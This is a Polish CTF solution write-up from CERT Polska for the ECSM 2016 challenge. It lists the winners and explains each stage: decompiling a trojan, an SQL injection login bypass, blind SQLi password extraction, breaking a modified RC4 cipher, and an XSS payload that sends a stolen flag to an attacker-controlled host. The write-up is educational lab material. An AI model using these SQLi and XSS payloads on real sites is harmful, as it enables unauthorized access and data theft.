Zadanie Capture The Flag w ramach ECSM 2016 – wyniki i rozwiązanie

cert.pl 8 lat temu

Na przełomie października i listopada organizowaliśmy dla Państwa konkurs typu Capture The Flag w ramach Europejskiego Miesiąca Bezpieczeństwa Cybernetycznego.

Pierwszy etap zadania rozpoczęło ponad 300 osób, do ostatniego dotarło ponad 60 osób, a trójka najszybszych, którzy przesłali poprawne rozwiązanie zadania to:

    1. Hubert Barc (rozwiązanie nadesłane 3 godziny i 22 minuty po rozpoczęciu konkursu),
    2. Sergiusz Bazański (5 godzin i 34 minuty),
    3. Piotr Florczyk (5 godzin i 37 minut).


    Zwycięzcom serdecznie gratulujemy!

    Wszyscy chętni, którzy nie wzięli udziału w konkursie mogą przez cały czas sprawdzić swoje umiejętności na stronie https://ecsm2016.cert.pl.

    Poniżej przedstawiamy również sposób rozwiązania wszystkich etapów konkursu.

    Trojan

    Zadanie zaczyna się od pobrania podejrzanego pliku ze strony https://ecsm2016.cert.pl. Po pobraniu warto zweryfikować czy hash zgadza się z podanym na stronie:

    $ sha1sum ~/Downloads/suspicious
    81e553e35dcccaaef8d9f534dd03bd9ba6ed33e2 ~/Downloads/suspicious

    Jeśli tak, warto sprawdzić z czym mamy do czynienia:

    $ file ~/Downloads/suspicious
    /home/msm/Downloads/suspicious: python 2.7 byte-compiled

    Wychodzi na to iż jest to plik .pyc, czyli program w Pythonie skompilowany do kodu pośredniego. Możemy go uruchomić:

    $ mv ~/Downloads/suspicious ~/Downloads/suspicious.pyc
    $ python ~/Downloads/suspicious.pyc
    Traceback (most recent call last):
    File "stage2/trojan/trojan.1.zip.packed.py", line 2, in
    File "", line 19, in
    File "", line 2, in
    File "", line 34, in
    File "", line 2, in
    ImportError: No module named trojan

    Nie uruchomi się on jednak poprawnie przez brakujący moduł „trojan”, ale widać, iż idziemy w dobrą stronę.

    Możemy analizować kod pośredni Pythona bezpośrednio, ale to bardzo zły pomysł – prościej użyć gotowego narzędzia (np. Uncompyle), które spróbuje odtworzyć oryginalny kod.

    Skrypt jest dość długi i nie robi nic interesującego (wszystkie rzeczy są delegowane do modułu trojan) – ale jest w nim zapisany nowy adres URL:

    # my secret malware panel
    CNC_URL = 'https://secretpanel.ecsm2016.cert.pl'
    CNC_PATH = '/get_command'

    Trojan łączy się z adresem https://secretpanel.ecsm2016.cert.pl/get_command. Pod nim nie ma nic ciekawego, ale jeżeli wejdziemy bezpośrednio pod secretpanel.ecsm2016.cert.pl zobaczymy panel webowy trojana.

    Panel webowy, etap pierwszy

    Wszystko poza /get_command wymaga zalogowania się i robi przekierowanie do /login. Musimy się więc w jakiś sposób zalogować.

    Pierwszym problemem jest to, iż nie znamy nazwy użytkownika, na którego można by się zalogować.
    Na szczęście walidacja hasła nie jest zrobiona do końca bezpiecznie i umożliwia sprawdzenie czy użytkownik z podanym nickiem istnieje – dla użytkownika „aaa” otrzymujemy informację „Username is invalid”, ale po kilku próbach można zauważyć iż istnieje np. użytkownik „admin”.

    Drugim problemem jest to iż nie znamy hasła. Na szczęście, twórca panelu popełnił tutaj książkowy błąd i możemy wykonać trywialne SQLi. Logujemy się do panelu z nazwą użytkownika admin i hasłem ' or 1=1 --.

    Słowem wyjaśnienia dlaczego taki błąd występuje. Strony są podatne na SQLi, jeżeli gdzieś w kodzie sklejane są polecenia SQL z niezaufanymi danymi (np. nazwa użytkownika lub hasło). Przykładowe, książkowe SQLi w PHP wygląda tak:

    $query = "SELECT COUNT(*) FROM user WHERE UserName = '" . $username . "' AND Password = '". $password ."'"

    Dla użytkownika „admin” i hasła „kot” wykonane zostanie polecenie:

    SELECT COUNT(*) FROM USER WHERE Username = 'admin' AND Password = 'kot'

    Co jest zgodne z zamierzeniami twórcy. Ale jeżeli ktoś jako hasło poda kot' or 1=1 --, składnia zapytania zmieni się:

    SELECT COUNT(*) FROM USER WHERE Username = 'admin' AND Password = 'kot' OR 1=1 -- '

    W ten sposób niezależnie od tego jakie jest prawdziwe hasło, zapytanie zawsze zwróci wszystkie rekordy i strona zinterpretuje to jako sukces przy walidacji użytkownika.

    Zaszyfrowana komunikacja

    Po zalogowaniu widzimy trochę więcej – mamy dostęp do komunikacji między administratorem a „hackerem”. Niestety, w pewnym momencie zaczyna ona być zaszyfrowana:

    Problemy są dwa:

      • Jak działa szyfrowanie (program szyfrujący do pobrania z https://secretpanel.ecsm2016.cert.pl/static/encryptor)?
      • Jakie hasło zostało użyte do szyfrowania (z komunikacji wynika iż hasło do komunikacji jest takie same jak hasło do panelu)?

    Pierwszy problem możemy rozwiązać reversując dostarczoną binarkę. Jest ona dostarczona ze wszystkimi symbolami więc nie jest to zbyt trudne.

    Najbardziej spodziewanym przez autorów rozwiązaniem było odwrócenie algorytmu programu szyfrującego (bardzo prostej modyfikacji RC4) i stworzenie własnego dekryptora na tej podstawie. Większość użytkowników konkursu poszła znacznie prostszą (więc lepszą) drogą – znalazła funkcję deszyfrującą (która była w binarce, chociaż nieużywana) i zmodyfikowała program aby z niej korzystał.

    Funkcja szyfrująca wyglądała tak (w oryginale):

    void encrypt(uint8_t *data, size_t data_size, const uint8_t *key, size_t key_size) {
    unsigned char state[256];
    rc4keysched(state, key, key_size);
    int a = 0, b = 0;
    for (int i = 0; i < (int)data_size; i++) {
    data[i] = (data[i] ^ rc4rand(state, &a, &b)) + i;
    }
    }

    Gdzie rc4ksysched i rc4rand to książkowa implementacja rc4. Czyli cały algorytm można zapisać jako:

    ciphertext[i] = (plaintext[i] ^ rand[i]) + i

    Więc żeby wyciągnąć z tego plaintext należałoby obliczyć:

    plaintext[i] = (ciphertext[i] - i) ^ rand[i]

    Wspomnimy jeszcze tylko iż innym możliwym rozwiązaniem tego etapu była kryptoanaliza algorytmu – było to trochę trudniejsze, ale ciekawsze (i nie wymagało znajomości RE).

    Drugi problem to poznanie hasła użytego do szyfrowania. Znowu trzeba do tego wykorzystać SQL injection na stronie, ale tym razem trzeba wyciągnąć dane, a nie tylko wymusić zalogowanie się. Można to zrobić w tym przypadku dzięki blind SQL injection – można było do tego albo napisać własne narzędzie, albo spróbować wykorzystać SQLmapa – oba podejścia dawały nam prawdziwe hasło użytkownika (MakeCyberGreatAgain).

    Tajny chat

    Odzyskany adres prowadził nas do aplikacji internetowej, która przedstawiała konwersację pomiędzy podejrzanymi. Celem zadania było odzyskanie flagi zawartej w jednej z wiadomości. Niestety ta była dla nas ukryta i była widoczna tylko dla jej autora.

    Mogliśmy również wysyłać wiadomości, które były przez podejrzanego hackera odczytywane. Błąd w aplikacji polegał na braku filtrowania HTML w widoku pojedynczej wiadomości co umożliwiało przeprowadzenie ataku typu XSS. Mogliśmy wysłać kod JavaScript, który wykonał się w kontekście przeglądarki naszego podejrzanego oraz ukradł flagę z widocznej tylko dla niego wiadomości.

    Potencjalny payload mógł wyglądać tak:

    <script>
    $.get('/cd16c496f53e43e7a72db2255a0939fb/2943ad2745764ad381c12195a79c4474', function(data) {
    var flag = $('.content', data).text().replace(/\s+/, '');
    document.createElement('img').src = 'http://adres-kontrolowanej-przez-nas-strony/' + flag;
    });
    </script>

    Odzyskana flaga oraz rozwiązanie całego konkursu to: ecsm{this.is.the.flag}.

    Idź do oryginalnego materiału